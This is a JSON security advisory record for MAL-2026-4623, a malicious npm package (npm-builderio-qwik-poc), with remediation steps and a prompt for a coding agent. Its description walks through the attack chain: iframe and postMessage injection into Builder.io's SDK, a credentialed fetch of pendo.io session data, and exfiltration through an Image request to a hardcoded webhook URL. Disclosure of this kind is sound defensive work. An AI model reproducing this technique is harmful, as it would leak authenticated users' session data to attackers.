{"answers":{"affected":"1 open source package ship an affected version, including npm-builderio-qwik-poc.","exploited":"There is no known exploitation of MAL-2026-4623 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-4623 is a malicious package in npm-builderio-qwik-poc, published on 25 May 2026."},"fix_prompt":"MAL-2026-4623 is a malicious package: npm-builderio-qwik-poc (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-4623/ (Markdown: https://insights.sbomify.com/MAL-2026-4623/index.md)","id":"MAL-2026-4623","markdown":"https://insights.sbomify.com/MAL-2026-4623/index.md","name":"MAL-2026-4623","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"The package's main entry `index.js` is a working browser exploit, not a library. When loaded in a DOM context, it creates a hidden iframe pointing at `www.pendo.io?builder.frameEditing=true`, then sprays `builder.patchUpdates` postMessages whose `op:'replace'` payload on `/bindings/show` carries a JavaScript string that the Builder.io SDK's `stringToFunction()` passes to `Function()` — achieving script execution in the pendo.io origin. The injected script performs a credentialed `fetch('https://novus-api.pendo.io/pendo/app', {credentials:'include'})`, base64-encodes the response, chunks it, and exfiltrates each chunk via `new Image().src = 'https://webhook.site/236d0505-1750-49fe-907d-604b0934b5c7?chunk=...\u0026d=...'` to a hardcoded attacker-controlled webhook. Any developer who bundles this package into a web application weaponizes their site against pendo.io users: visitors will silently leak authenticated pendo.io session data to the attacker. The exfil destination is hardcoded with no opt-in, configuration, or authorization gate, so the harm fires on every load regardless of consumer intent. There is no install-time or import-time Node side effect (the code requires a browser DOM), but the public API surface itself is the attack.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in npm-builderio-qwik-poc (npm)","id":"MAL-2026-4623","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"npm-builderio-qwik-poc","purl":"pkg:npm/npm-builderio-qwik-poc","source":"MAL-2026-4623"}],"products":null,"published":"2026-05-25","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-4623/"}